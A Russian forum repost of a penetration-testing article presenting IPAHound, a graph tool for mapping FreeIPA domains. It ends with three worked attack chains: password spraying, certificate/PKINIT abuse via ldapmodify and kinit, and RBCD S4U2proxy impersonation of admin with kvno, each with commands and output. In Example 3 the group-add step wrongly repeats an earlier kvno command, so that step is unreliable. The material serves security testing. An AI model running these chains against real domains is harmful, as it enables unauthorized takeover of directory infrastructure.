Думаем графами с IPAHound

Страницы:  1

Ответить
 

Professor Seleznov


pic
Всем привет, меня зовут Михаил Сухов, я участник команды PT SWARM. Нам в команде все чаще встречается инфраструктура, построенная на базе альтернативных реализаций службы каталога Microsoft Active Directory. Одной из таких реализаций, заслуженно получившей большое распространение, является FreeIPA.
PT SWARM — это команда из более чем 100 экспертов в offensive security, которые занимаются тестированием на проникновение, анализом защищенности ПО, выполняют проекты по социальной инженерии, проводят аудит беспроводных сетей, банкоматов и POS-терминалов.
Я занимаюсь поиском уязвимостей в Linux-инфраструктурах и разработкой инструментов для red team. Два раза выступал на OFFZONE, где разбирал атаки на FreeIPA.
У нас есть опыт поиска 0-day-уязвимостей в FreeIPA и ее компонентах. Автором первой из списка ниже является Егор Дмитренко, остальные нашёл я:
  • CVE-2022-2414 — уязвимость типа XXE в HTTP-сервере PKI FreeIPA, которая позволяет читать файлы на сервере. Уязвимость получила оценку 7,5 по шкале CVSS.
  • CVE-2024-1481 — уязвимость, приводящая к DoS-атаке с помощью HTTP-запросов. Оценка по шкале CVSS— 5,3.
  • CVE-2024-3183 — уязвимость связана с возможностью получения TGS-билетов для пользователей. Была присвоена оценка 8,1 по шкале CVSS.
  • CVE-2024-3657 — уязвимость, приводящая к DoS-атаке на LDAP-сервер с помощью специально сформированного пакета. Оценка по шкале CVSS — 7,5.
  • CVE-2025-4404 — уязвимость, связанная с повышением привилегий в FreeIPA от компьютерной учетной записи до администратора. Оценка по шкале CVSS — 9,1.
Но наша экспертиза базируется не только на поиске уязвимостей. В ходе работы с FreeIPA стало очевидно, что можно изучать еще и архитектурные особенности, которые сильно отличаются от AD.
Так появился IPAHound — наш аналог BloodHound для FreeIPA. За основу был взят проект BloodHound Legacy с поддержкой PKI: https://github.com/ly4k/BloodHound.
IPAHound состоит из двух компонентов — коллектора и GUI. Коллектор собирает информацию через LDAP и подготавливает ее для загрузки в GUI. В графическом интерфейсе данные представляются в виде графа — это облегчает поиск ошибок в настройках домена.
Девиз «От пентестеров для пентестеров» выбран неслучайно — мы неоднократно использовали это решение в своих проектах.
В этой статье я расскажу о нашем инструменте. Также посмотрим на различные способы анализа связей, облегчающие продвижение в FreeIPA.
Подходы к анализу FreeIPA
Главное отличие FreeIPA от AD — это ограничение доступа к чувствительной информации. Пользователи не видят правила доступа, разрешения, привилегии, инструкции доступа ACI (Access Control Instruction) и многое другое. Им остается только догадываться об их наличии и содержании.
Поэтому есть два совершенно разных подхода к анализу каталога:
  • Мы имеем полный доступ к данным (учетная запись администратора или cn=Directory Manager). Назовем этот подход аудитом, его цель — найти наибольшее количество мисконфигураций. Такими правами обладает, например, blue team.
  • Нам доступна часть информации, которую может прочитать обычный пользователь. Назовем этот подход пентестом.
Наш инструмент создан для второго случая. Он по известной информации воссоздает права и привилегии объектов домена. Наша методика работы будет строиться на поэтапном передвижении, сборе и анализе данных.
Сущности в FreeIPA
Давайте посмотрим, какие сущности есть в FreeIPA и как они отображаются в IPAHound. В каталоге встречается достаточно большое количество объектов. Пойдем от простого к сложному и разберем каждый из них в деталях.
Граф состоит из вершин, которые называются нодами, и ребер. У нодов есть типы и атрибуты, в которых содержится информация об объекте из FreeIPA, но могут быть добавлены и дополнительные атрибуты для упрощения анализа.
Если вы хотите сразу начать с разбора нодов в IPAHound — можете перейти к разделу «Что отражено в графе».
FQDN домена будет positive.ipa.
Базовой записью (base DN) тогда будет dc=positive,dc=ipa, все объекты FreeIPA будут находиться в ней.
Сам домен
Домен в каталоге может быть только один. Объект находится по пути dc=positive,dc=ipa и имеет атрибут objectClass равный domain. Самый важный атрибут этого объекта — associatedDomain. В нем хранится имя домена (positive.ipa). В нашем графе домен получил тип IPADomain.
Пользователи
Объекты хранятся в контейнере cn=users,cn=accounts,dc=positive,dc=ipa и имеют важные особенности.
Обратим внимание на атрибут krbCanonicalName, в котором хранится каноничное имя Kerberos пользователя (как у сервисов и компьютеров).
При отсутствии полной информации полезен атрибут MemberOf. По умолчанию обычный пользователь домена не может читать ряд объектов в каталоге (в отличие от AD), и по значению этого атрибута можно сделать предположение о том, в каких группах состоит пользователь, какие у него есть роли, разрешения и привилегии. Правда, сами разрешения и привилегии мы прочитать не сможем — нам останется только догадываться по названию, что они означают.
Кроме того, интересен атрибут ipaUserAuthType. Служба каталога FreeIPA поддерживает аутентификацию не только по паролю, но и с помощью других методов: RADIUS, пароль + OTP, PKINIT, пароль с усиленной защитой (SPAKE или FAST), external identity provider, passkey. В этом атрибуте множественного типа хранится список допустимых методов аутентификации, если атрибута нет, то по умолчанию будет стоять аутентификация по паролю, в том числе с использованием SPAKE и FAST. Наш коллектор сразу смотрит на этот атрибут и создает у пользователя поле PasswordAuthAllow со значением True или False.
В нашем графе этот объект получил тип IPAUser.
Компьютеры
Объекты хранятся в контейнере cn=computers,cn=accounts,dc=positive,dc=ipa. Тут также все достаточно просто, с krbCanonicalName и memberOf уже познакомились на примере учетных записей пользователей. Помимо этого, здесь имеется информативный атрибут — это krbTicketFlags. Он содержит флаги, которые указывают на параметры и возможности учетной записи (будь то пользователь, компьютер или сервис) в контексте протокола Kerberos. Давайте посмотрим на него внимательнее. Наиболее интересные флаги представлены в таблице.
Флаг Значение Комментарий
IPAKrbRequiresPreAuth 0x00000080 Бесполезен для пентеста, поскольку у служб и компьютеров пароли всегда сложные, а к пользователям этот флаг не применим
IPAKrbOkAsDelegate 0x00100000 Разрешено делегирование (trusted for delegation)
IPAKrbOkToAuthAsDelegate 0x00200000 Разрешено S4U2self (trusted to authenticate as user)

Нам интересны флаги IPAKrbOkAsDelegate и IPAKrbOkToAuthAsDelegate, так как один из них дает возможность неограниченного делегирования, а другой — возможность использовать S4U2self. Эти флаги по умолчанию установлены для учетных записей контроллеров домена.
Собственно, на основании наличия флага IPAKrbOkAsDelegate выставляется всем знакомый из BloodHound атрибут UnconstrainedDelegation.
В нашем графе этот объект получил тип IPAComputer.
Сервисы
Сервисы хранятся в контейнере cn=services,cn=accounts,dc=positive,dc=ipa. В архитектуре FreeIPA они представлены отдельным типом объектов (это менее привычно для пентестеров каталога Microsoft Active Directory). Такие объекты используются для разделения компьютерных учетных записей и учетных записей сервисов. Пароли, а точнее Kerberos-ключи, для сервисных учетных записей являются сложными и не обновляются автоматически, как и ключи для учетных записей компьютеров. В домене ALD Pro, например, для возможности регулярного обновления паролей компьютеров сделали даже специальный параметр групповой политики, который под капотом использует утилиту ipa-getkeytab. 
В нашем графе этот объект получил тип IPAService.
Системные аккаунты
Объекты хранятся в контейнере cn=sysaccounts,cn=etc,dc=positive,dc=ipa.
Чтобы закончить с учетными записями, разберем самые необычные — системные аккаунты. Пока разработчики FreeIPA используют только одну учетную запись — это uid=sudo, ее пароль может храниться в открытом виде в файле /etc/sudo-ldap.conf на устаревших UNIX-клиентах (современным компьютерам Linux эта учетная запись не требуется, они извлекают SUDO-правила, используя свою основную учетную запись, Kerberos-ключи которой хранятся в файле /etc/krb5.keytab). Эта учетная запись подходит только для подключения напрямую по LDAP (с именем в виде полного DN), Kerberos-принципала и соответственно Kerberos-ключей у неё нет.
Администраторы могут создавать системные учётные записи для интеграции внешних систем, чтобы эти приложения могли получать доступ к службе каталога. Вот пример создания системной учетной записи через WEB-интерфейс:
pic
Создание системного пользователя в веб-интерфейсе
Системным аккаунтам присвоен тип IPAUser
Группы пользователей
Объекты хранятся в контейнере cn=groups,cn=accounts,dc=positive,dc=ipa. В таких группах могут состоять только пользователи, сервисы, переопределения пользователей доверенных доменов и другие группы пользователей. Для компьютеров есть отдельные группы.
Важно отметить отличие от AD: в FreeIPA работает плагин memberOf, который выполняет автоматическое разрешение вложенных членов групп. Приведу пример: если есть группа A, которая является участницей группы B, а группа B, является участницей группы С (A -memberOf → B -memberOf → C), то автоматически создается транзитивное отношение A → С (у группы A будет атрибут memberOf, указывающий на группу С, для которой она будет непрямой участницей). В AD аналогом является вычисляемый атрибут Token-Groups. В виде графа это выглядит так:
pic
Транзитивное отношение групп A, B и C
Хотя группа A не состоит в группе C напрямую, ребро будет создано и отображено на графе.
Атрибут memberManager в группе позволяет управлять членами группы (добавлять и удалять). На основании него строится связь AddMember.
pic
Связь AddMember
 В нашем графе этот объект получил тип IPAGroup.
Группы компьютеров
Объекты хранятся в контейнере cn=hostgroups,cn=accounts,dc=positive,dc=ipa. Из отличий от обычных групп можно выделить только то, что в этих группах могут находиться только компьютеры, а в остальном они полностью повторяют их функциональные возможности. Опять же, чтобы не добавлять лишние сущности, компьютерным группам присваивается тип IPAGroup.
Net-группы (net groups)
Объекты хранятся в контейнере cn=ng,cn=alt,dc=positive,dc=ipa, это тоже специальная группа, ее участниками могут быть компьютеры и пользователи. На основании этого она получила тип IPAGroup, но для различия добавлен префикс «Net Group: ».
Net-группы создавались для поддержки устаревшей технологии NIS, которая уже практически не используется, но в каталоге они пока еще остались. Сейчас через сетевые группы фактически работают группы компьютеров (см. команду getent netgroup <имя группы компьютеров>).
Системные группы
Объекты хранятся в контейнере cn=sysaccounts,cn=etc,dc=positive,dc=ipa, это те группы, которые создаются в FreeIPA по умолчанию. Их всего две:
  • Replication managers — дает права на управление отношениями репликации.
  • Adtrust agents — дает права на управление доверительными отношениями с AD.
Эти группы также получили тип IPAGroup.
Разрешения
Начнем погружаться в то, как устроены привилегии и разрешения в FreeIPA — это основной механизм для выдачи прав пользователям. 
Объекты хранятся в контейнере cn=permissions,cn=pbac,cn=pbac,dc=positive,dc=ipa.
Служба каталога FreeIPA реализует трехуровневую модель безопасности, состоящую из ролей, привилегий и разрешений. Пользователи могут быть участниками ролей, роли могут быть участницами привилегий, а привилегии могут быть участницами разрешений. Но на низком уровне права доступа в 389 Directory Server делегируются через инструкции доступа ACI, и разрешения как раз и являются теми объектами, в соответствии с настройками которых в LDAP-каталоге создаются инструкции доступа. Давайте разберемся, как это работает.
Атрибут Пример значения Описание
ipaPermLocation cn=groups,cn=accounts,dc=positive,dc=ipa На какой DN и дочерние структуры распространяется разрешение
ipaPermRight add Что разрешает делать. В этом случае — добавлять запись в каталог
ipaPermTargetFilter (|(objectclass=ipausergroup)(objectclass=posixgroup)) Фильтр, указывающий на то, какие объекты можно будет добавлять

Получившееся правило ACI:
dn: cn=groups,cn=accounts,dc=positive,dc=ipa
aci: (targetfilter = "(|(objectclass=ipausergroup)(objectclass=posixgroup))")(version 3.0;acl "per-mission:System: Add Groups";allow (add) groupdn = "ldap:///cn=System: Add Groups,cn=permissions,cn=pbac,dc=positive,dc=ipa"
Как видно из инструкции доступа ACI, все учетные записи, являющиеся участниками разрешения «System: Add Groups», могут создавать новые группы пользователей.
Любой пользователь может посмотреть разрешения, участником которых он является. Но для того, чтобы посмотреть права, которые эти разрешения выдают, необходимо быть участником разрешения «System: Read Permissions». Оно чаще всего выдается только привилегированным пользователям. Без него пользователь может видеть только названия разрешений и предполагать, какие права доступа они ему дают. Исключениями из этого правила являются 37 стандартных разрешений, которые можно посмотреть на тестовом стенде, в исходном коде или — иногда — в официальной документации. Именно поэтому в IPAHound мы не работаем напрямую с инструкциями ACI, так как для их чтения нужно обладать высокими привилегиями.
Разрешения получили тип IPAPermission.
Привилегии
Объекты хранятся в контейнере cn=privileges,cn=pbac,dc=positive,dc=ipa.
Привилегии — это тоже группы, они являются участницами разрешений. Членство в привилегии дает роли возможность делегировать права на использование разрешений, которые объединяет в себе данная привилегия. Из-за того, что привилегии – это группы, то и тип они получили IPAGroup.
Роли
Объекты хранятся в контейнере cn=roles,cn=accounts,dc=positive,dc=ipa.
Роли — это те же группы, но есть нюанс: роль является членом разрешений и привилегий, то есть наследует их. Членами ролей могут быть сервисы, компьютеры и пользователи. Собственно, больше ничем от группы они не отличаются. Роли получили тип IPARole. Почему же тут был выделен отдельный тип? Все очень просто: на нашем опыте было проверено, что роли чаще всего используются администраторами для делегирования привилегий и разрешений, поэтому было решено визуально отделить роли от остальных групп.
Вложенность ролей, привилегий и разрешений
Для наглядности ниже приведена иллюстрация из IPAHound, которая поможет разобраться, чем различаются привилегии, разрешения и роли.
pic
Как выглядит вложенность ролей, привилегий и разрешений
Но в каталоге это выглядит так.
pic
Все связи в каталоге
Из-за свойства транзитивности связей в группах, о которой говорилось выше, в FreeIPA побочные связи пользователей и ролей с разрешениями будут созданы автоматически.
HBAC-правила
Объекты хранятся в контейнере cn=hbac,dc=positive,dc=ipa.
Правило состоит из нескольких атрибутов: пользователей, локальных PAM-сервисов, к которым разрешен доступ, и компьютерных учетных записей. Эта сущность формирует связи, указывая, какие пользователи могут запускать соответствующие локальные сервисы на указанных компьютерах. Из всех возможных сервисов для продвижения по инфраструктуре нам интересны sudo и sshd. Остальные сервисы, по опыту PT SWARM, редко используются в реальных инфраструктурах. 
Для взаимодействия с сервисом sshd (подключение по SSH) нам необходимо только разрешающее HBAC-правило. Для возможности использования утилиты sudo необходимо, чтобы у учетной записи были:
  • HBAC-правило, которое позволяет получить доступ к нужному сервису, в нашем случае это сервис sudo.
  • Отдельное SUDO-правило, которое нам разрешит выполнение конкретных команд из-под другого пользователя с использованием утилиты sudo. 
Для минимизации графа и упрощения его анализа по умолчанию HBAC-правила формируют ребра CanSSH. Ребра CanSUDO будут добавлены только при соблюдении двух условий, которые коллектор проверит автоматически.
Связи для остальных сервисов можно добавить с помощью параметра --save-all-hbac в коллекторе. Тогда будут созданы ребра Can*, где вместо * указывается имя сервиса или группы сервисов.
Правила sudo
Объекты хранятся в контейнере cn=sudorules,cn=sudo,dc=positive,dc=ipa.
Как и в HBAC, участниками правила sudo могут быть компьютеры и пользователи. В FreeIPA предусмотрена очень гибкая настройка правил: например, можно задавать параметры, группы команд и так далее. Все это хранится в записях каталога.
Атрибут Примеры значений Описание
cmdCategory all или DN до набора команд Те команды, которые сможет запускать пользователь
ipaSudoOpt !authenticate Параметры sudo. Например, !authenticate позволяет использовать sudo без пароля
ipaSudoRunAs uid=admin,cn=users,cn=accounts,dc=positive,dc=ipa От имени какого пользователя можно будет запускать команды
memberAllowCmd   Разрешенные для исполнения команды
memberDenyCmd   Запрещенные для исполнения команды

На основании обработки этих объектов формируется связь CanSUDO. Важно! Как было сказано выше, нужно HBAC-правило, разрешающее использовать sudo, в IPAHound эта проверка производится автоматически. Чтобы просмотреть все атрибуты ребра, вам нужно нажать на него. Ниже приведен пример ребра CanSUDO с определенными атрибутами.
pic
Информация о связи CanSUDO
Правила SELinux
Объекты хранятся в контейнере cn=usermap,cn=selinux,dc=positive,dc=ipa.
Членами этой группы являются пользователи и компьютеры, на которых применяется политика SELinux.
Для SELinux был создан отдельный тип IPASELinux.
Делегирование Kerberos
В FreeIPA есть несколько возможностей настроить делегирование. О неограниченном делегировании было сказано во время обсуждения атрибутов компьютера. Остальные виды и их специфику в FreeIPA разберем ниже.
Ограниченное делегирование
Для использования S4U2proxy нужно получить разрешение.
Объекты разрешений хранятся в контейнере cn=s4u2proxy,cn=etc,dc=positive,dc=ipa.
Разрешающая запись определяется атрибутом objectClass со значением ipaKrb5DelegationACL. Пример набора атрибутов — ниже.
pic
Атрибуты объекта ipaKrb5DelegationACL
С помощью атрибута memberPrincipal вы можете просмотреть список учетных записей, которым разрешено использовать S4U2proxy. С помощью атрибута ipaAllowTarget вы можете просмотреть ссылки на списки сервисов, для доступа к которым можно получить билеты Kerberos.
Пример списка cn=ipa-ldap-delegation-targets,cn=s4u2proxy,cn=etc,dc=positive,dc=ipa — ниже.
pic
Атрибуты списка имен сервисов для делегирования
В результате разбора этих сущностей наш коллектор формирует ребро AllowedToDelegate.
pic
Ребро AllowedToDelegate между службами
Стоит отметить, что обычный пользователь не имеет разрешений на чтение ветки каталога cn=s4u2proxy,cn=etc,dc=positive,dc=ipa.
RBCD (resource-based constrained delegation)
За RBCD отвечает атрибут MemberPrincipal, в котором указано, кто может использовать S4U2proxy в отношении этого узла. Механизм реализации RBCD в FreeIPA не отличается от реализации в AD.
На основании этого атрибута добавляется ребро AllowedToDelegate.
Не каждый пользователь может настроить RBCD, для этого у объекта должен быть атрибут с тегомipaAllowedToPerform;write_delegation. В значении атрибута указан DN учетной записи, которая может изменять или добавлять тот самый MemberPrincipal, необходимый для настройки RBCD.
На основании значения ipaAllowedToPerform;write_delegation формируется связь AddRBCD.
Доверительные отношения с AD
Объекты хранятся в cn=ad,cn=trusts,dc=positive,dc=ipa.
В службе каталога FreeIPA доверие можно настроить только к доменам AD; в ALD Pro есть возможность создавать доверительные отношения между доменами FreeIPA, но механизм под капотом используется практически тот же самый. Вы можете загрузить информацию о домене AD, чтобы анализировать все одновременно. На основе информации из FreeIPA строится ребро TrustedBy.
pic
Двустороннее доверие между доменом CONTOSO.COM и POSITIVE.IPA
А еще членами групп могут быть пользователи из другого домена.
pic
Внешние пользователи в группе TEST_EXTERNALE
Центр сертификации
Объекты хранятся в контейнере cn=cas,cn=ca,dc=positive,dc=ipa.
В FreeIPA может быть несколько центров сертификации, и в этой структуре хранится информация о каждом из них. Важно заметить, что ALD Pro не поддерживает PKI на базе DogTag, так как это решение не является сертифицированным. В качестве удостоверяющих центров в ALD Pro для управления машинными сертификатами сейчас можно использовать Aladdin CA и SafeTech CA, но эти продукты не используют службу каталога для хранения своих объектов.
pic
Атрибуты центра сертификации
Тип центра сертификации — IPACA.
IPA PKI. Профиль сертификатов
Объекты хранятся в контейнере cn=certprofiles,cn=ca,dc=positive,dc=ipa.
В профиле прописываются ограничения на имя сертификата, который выдается по запросу, тип сертификата и т. д. Кроме того, есть ограничения на учетные записи, которые могут воспользоваться профилем, для этих ограничений существуют CA ACL, они будут рассмотрены позже.
Для профилей сертификатов была создана отдельная сущность IPACertificateTemplate.
IPA PKI. CA ACL
Объекты хранятся в контейнере cn=certprofiles,cn=ca,dc=positive,dc=ipa.
Это одна из самых важных сущностей в IPA PKI. В каждом правиле CA ACL прописано, к каким профилям какая учетная запись может получить доступ.
Вот пример из параметров по умолчанию.
pic
Служба HTTP/DC1.POSITIVE.IPA может выпустить сертификат с помощью профиля CAIPASERVICECERT
На основе CA ACL строятся связи Enroll.
Что отражается в IPAHound
Настало время собрать написанное выше воедино и выяснить, что вы можете увидеть в графе, созданном через IPAHound.
Ноды
Каждый нод содержит в себе дополнительную информацию. Чтобы просмотреть сведения об объекте, необходимо нажать на интересующий нод. В таблице собрана основная информация о вершинах, которые создает коллектор, а также представлены основные отличия IPAHound от BloodHound. 
Тип нода Имя нода Описание Имя в BloodHound Отличия от BloodHound
IPADomain Домен Объект домена, содержит в себе FQDN домена Domain Архитектурой FreeIPA не предусмотрено наличие доступа ко всей информации в каталоге, поэтому в IPAHound ребра DCSync и ACL выстраиваются на основании правил по умолчанию
IPAUser Пользователь Пользователи домена и системные аккаунты User В атрибутах пользователя указаны: 
публичные SSH-ключи и сертификаты; доступные способы аутентификации;узлы, доступные для подключения по SSH
IPAGroup Группы Группы, права, группы компьютеров, системные и net-группы Group В FreeIPA существует множество различных «групп», которые отдельно не выделяются в AD. В IPAHound все эти сущности объединены в класс IPAGroup
IPAComputer Компьютер Доменные компьютеры Computer В IPAHound есть готовые запросы, которые помогут посмотреть учетные записи, имеющие доступ по SSH и через sudo
IPAService Сервис Доменные сервисы В BloodHound нет такой сущности, но если искать аналог с AD, то ближе всего был бы Computer
IPAPermission Разрешения Разрешения, которые есть в домене Нет аналога в BloodHound
IPARole Роли Роли вFreeIPA — частьконцепции role, privileges, permission Нет аналога в BloodHound
IPACA ЦС Центры сертификации в домене. В FreeIPA шаблоны сертификатов не привязаны к ЦС CA Из-за архитектурных различий FreeIPA и AD в IPAHound для шаблонов сертификации не будет привязки к ЦС
IPACertificateTemplate Шаблоны сертификатов Шаблоны для выпуска сертификатов CertificateTemplate Отличий нет
IPASELinux Правила SELinux Правила механизма принудительного контроля доступа (MAC) в Linux Нет аналога в BloodHound

Атрибуты нодов
Рассмотрим некоторые флаги, которые добавляются коллектором:
  • HaveCert (type: bool) — этот флаг показывает, есть ли у пользователя сертификат, он нужен для удобного поиска.
  • PasswordAuthAllow (type: bool) — этот флаг показывает, может ли пользователь проходить аутентификацию по паролю.
  • highvalue (type: bool) — этот флаг стандартный для BloodHound, он показывает важность цели. Присваивается домену, группам admins и trust admins.
  • UnconstrainedDelegation (type: bool) — этот флаг указывает на неограниченное делегирование.
  • ipaKrbOkToAuthAsDelegate (type: bool) — этот флаг указывает, что разрешено использование S4U2self.
  • Type (type: str) — этот флаг дублирует оригинальный тип из каталога. 
Связи и их эксплуатация
Эта информация также представлена в GUI. Вот связи, которые есть в графе:
  • TrustedBy — ребро указывает на наличие настроенного доверия с доменом AD.
  • MemberOf — член группы, привилегии, роли и т. д.
  • AddMember — ребро указывает на возможность управлять участниками группы (создается на основании значения атрибута MemberManager в группах).
  • Owns — ребро указывает на владельца компьютера или группы, полностью контролирующего объект (создается на основании значения атрибута ManagedBy в объекте). Пользователь с этой учетной записью может настраивать RBCD, создавать новые Kerberos-ключи, добавлять SSH-ключи и — самое полезное — сертификаты.
  • ForceChangePassword — ребро указывает на возможность создавать новые Kerberos-ключи (создается на основании значения атрибута ipaAllowedToPerform;write_keys в объекте).
  • ReadKerberosKey — ребро указывает на возможность читать Kerberos-ключи (операция keytab retrieve, создается на основании значения атрибута ipaAllowedToPerform;read_keys в объекте).
  • CanSSH — ребро указывает на существующее HBAC-правило, которое разрешает доступ к sshd.
  • Can* — ребро указывает на существующее HBAC-правило, которое разрешает доступ к сервису (вместо будет подставлено имя сервиса).
  • CanSUDO — ребро указывает на существующие HBAC-правила, которое разрешает использование утилиты sudo на узле, а также указывает, что существует sudo-правило (при нажатии на эту связь откроется информация о ней).
  • Enroll — ребро указывает, что у учетной записи есть разрешение на выпуск сертификата.
  • AllowedToDelegate — ребро указывает, что у учетной записи есть права на ограниченное Kerberos-делегирование.
  • AddRBCD — ребро указывает, что у учетной записи есть возможность настроить RBCD (создается на основании значения атрибута ipaAllowedToPerform;write_delegation в объекте).
  • DCSync — ребро указывает, что у учетной записи есть права на DCSync (это ребро создается на основании предположений о значении разрешений по умолчанию).
Примеры использования IPAHound
Разберем, как можно забрать домен с помощью IAHound. Представленные здесь примеры — синтез различных кейсов, с которыми мы сталкивались.
Пример 1. Password spraying и доступ к контроллеру домена
Допустим, был получен доступ к учетной записи обычного пользователя. В первую очередь собираем слепок через LDAP. Далее с помощью Neo4j-запроса извлекаем пользователей, у которых включена аутентификация по паролю. Посмотреть список таких пользователей можно с помощью добавленного нами запроса.
pic
Встроенный в IPAHound запрос
Или можно получить текстом из Neo4j:
MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True RETURN split(n.krbPrincipalName, '\n')[0]
# Или
MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True RETURN n.krbCanonicalName
Теперь мы получили список пользователей для атаки типа password spraying. После проведения этой атаки получаем учетную запись IT_User.
С правами этого пользователя заново собираем слепок домена, так как есть вероятность, что новая учетная запись обладает большим количеством прав. Из собранного графа устанавливаем, что пользователь IT_User имеет права на доступ по SSH и через sudo к контроллеру домена.
pic
Путь от пользователя IT_User до DC1
Права CanSSH и CanSUDO распространяются на компьютер HOST/DC1.POSITIVE.IPA, так как он является членом групп HOSTS и SUDO_ACCEPT.
Это позволило получить доступ к файлу id2entry.db (база данных домена), а наличие этого файла означает полную компрометацию домена.
Пример 2. Захват службы с помощью злоупотребления RBCD
Представим, что мы скомпрометировали компьютер SRV и смогли получить Kerberos-ключи от его учетной записи. Сняв слепок домена, мы видим в IPAHound такую картину.
pic
Путь от SRV.POSITIVE.IPA до домена
Все осложняется тем, что у нас нет Kerberos-ключей от учетной записи TEST/SRV.POSITIVE.IPA, но мы знаем, что в FreeIPA каждый компьютер является владельцем своих сервисов (о чем и говорит связь Owns). Благодаря этому можно прописать новые Kerberos-ключи, а старые будут сброшены:
$ ipa-getkeytab -k test_srv.keytab -p test/srv.positive.ipa@POSITIVE.IPA
Но есть способ и без сбрасывания пароля. Вспомним, что у службы, которой мы владеем, можно изменить атрибут userCertificate, который отвечает за сертификат учетной записи, в том числе и для PKINIT. Нам нужно получить сертификат от УЦ. Посмотрим, каким профилем сертификатов может воспользоватьсяHOST/SRV.POSITIVE.IPA.
pic
Компьютер может выпустить сертификат с помощью профиля CAIPASERVICECERT
Теперь нужно выполнить следующую последовательность шагов:
# Создадим запрос на сертификат (важно, что указывается именно имя узла):
$ openssl req -new -newkey rsa:2048 -days 365 -nodes -keyout private.key -out cert.csr -subj '/CN=srv.positive.ipa'
# Делаем запрос на сертификат (надо будет удалить его из атрибутов host/srv.positive.ipa и отозвать), по умолчанию будет использован профиль caIPAserviceCert:
$ ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.positive.ipa
# Через LDAP добавляем сертификат службе (сертификат, добавленный службе через утилиту ipa, не подойдет для PKINIT):
$ ldapmodify -h dc1.positive.ipa <<EOF
dn:krbprincipalname=test/srv.positive.ipa@POSITIVE.IPA,cn=services,cn=accounts,dc=positive,dc=ipa
add: userCertificate;binary
userCertificate;binary:: MIIErzCCAxegAwIBAgIBEzANBgkqhki
EOF
# Проходим PKINIT
$ kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.positive.ipa@POSITIVE.IPA
# Проверяем через обращение к LDAP-серверу:
$ ldapwhoami -H ldap://dc1.positive.ipa
SASL/GSSAPI authentication started
SASL username: test/srv.positive.ipa@POSITIVE.IPA
SASL SSF: 256
SASL data security layer installed.
dn: krbprincipal-name=test/srv.positive.ipa@positive.ipa,cn=services,cn=accounts,dc=positive,dc=ipa
Заметим, что на графе есть связь AllowedToDelegate, она появилась из-за того, что между этими сервисами настроено RBCD (правила S4U2proxy мы бы не увидели, так как из-за архитектурных особенностей FreeIPA не имеем достаточно прав).
Выполняем S4U2proxy от имени admin и сохраняем результат в ldap_admin.cache.
$ kvno -U admin -k test_srv1.keytab -P ldap/dc1.positive.ipa@POSITIVE.IPA test/srv.positive.ipa@POSITIVE.IPA --out-cache ldap_admin.cache
ldap/dc1.positive.ipa@POSITIVE.IPA: kvno = 2, keytab entry valid
test/srv.positive.ipa@POSITIVE.IPA: kvno = 2, keytab entry valid
# Проверяем через обращение к LDAP-серверу:
$ KRB5CCNAME=ldap_admin.cache ldapwhoami -H dc1.positive.ipa
SASL/GSSAPI authentication started
SASL username: admin@POSITIVE.IPA
SASL SSF: 256
SASL data security layer installed.
dn: uid=admin,cn=users,cn=accounts,dc=positive,dc=ipa
Так был взят еще один домен.
Пример 3. Добавление пользователей в группу и правил RBCD
После компрометации основного домена видим смежный на базе FreeIPA. Благодаря password reuse мы получаем учетную запись WEB_ADMIN. Сняв слепок домена, мы видим в IPAHound такую картину.
pic
Путь от WEB_Admin до группы Replication managers
Из графа видно, что пользователь WEB_ADMIN еще не состоит в группе WEB_ADMINS, но может добавлять туда учетные записи (между вершинами есть ребро AddMember, тогда как членство в группе указывается через ребро MemberOf). Это означает, что можно добавить самого себя, выполнив команду:
$ kvno -U admin -k test_srv1.keytab -P ldap/dc1.positive.ipa@POSITIVE.IPA test/srv.positive.ipa@POSITIVE.IPA --out-cache ldap_admin.cache
После добавления в группу наступает момент настройки делегирования (видим возможность настройки по ребру AddDBCD). Для этого нам понадобится учетная запись сервиса или компьютера. Через IPAHound найдем компьютер, на котором у нас есть права на подключение по SSH и можно повысить привилегии через sudo.
pic
Путь от WEB_Admin до WEB.POSITIVE.IPA
Получив Kerberos‑ключи компьютера HOST/PC1.POSITIVE.IPA из файла /etc/krb5.keytab, мы можем настроить RBCD на него.
# Добавляем RBCD
$ ipa service-add-delegation LDAP/dc1.positive.ipa@POSITIVE.IPA HOST/web.positive.ipa@POSITIVE.IPA
# Эксплуатируем RBCD
$ kvno -U admin -k web_host.keytab -P ldap/dc1.positive.ipa@POSITIVE.IPA HOST/web.positive.ipa@POSITIVE.IPA --out-cache ldap_admin.cache
# Проверяем через обращение к LDAP-серверу:
$ KRB5CCNAME=ldap_admin.cache ldapwhoami -H dc1.positive.ipa
SASL/GSSAPI authentication started
SASL username: admin@POSITIVE.IPA
SASL SSF: 256
SASL data security layer installed.
dn: uid=admin,cn=users,cn=accounts,dc=positive,dc=ipa
И мы снова получили доступ к LDAP с правами администратора домена.
А что же с коллектором?
В качестве коллектора из LDAP-сервера выступает код на Python. Коллектор может формировать JSON в разных форматах: для загрузки через модуль APOC (для Neo4j) и через GUI. Независимо от формата в JSON уже содержатся связи и флаги для вершин.
Формат данных плагина Neo4j APOC был добавлен, так как это ускоряет загрузку данных. На одном из доменов, который нам встретился на проекте, было около 3,2 миллиона отношений, 8000 объектов, из которых 4000 групп и 2000 пользователей. Для него загрузка через GUI длилась 7 часов, а через APOC всего 92 секунды!
Формат загрузки через GUI был оставлен для вашего удобства.
Запуск коллектора
Сначала идет аутентификация. На LDAP-сервере FreeIPA ее можно пройти по Kerberos, по имени пользователя с паролем или через Unix-сокет. Инструмент IPAHound поддерживает только первые два способа. Но для второго вам необходимо имя пользователя в формате DN. Коллектор попытается за вас сконструировать его автоматически, но это не всегда возможно, например если используется системная учетная запись. Если имя пользователя формируется неправильно, то вместо него можно передавать полное имя DN.
Далее запускается коллектор, подключенный к LDAP-серверу. На этом этапе не идет обработка данных и их можно в сыром формате сохранить в файл для дальнейшей работы с помощью флага --output-raw, это нужно только для автономной отладки. Потом начинается обработка и создание ребер. Результат сохраняется в JSON для загрузку через APOC или GUI.
Загрузка через APOC
Вам необходимо дать дополнительные права плагину APOC для обращения к файлам. Нужно добавить apoc.import.file.enabled=true в файл /etc/neo4j/apoc.conf.
После этого необходимо создать ограничения в Neo4j:
CREATE CONSTRAINT FOR (n:IPADomain) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAUser) REQUIRE n.neo4jImportId IS UNIQUE;
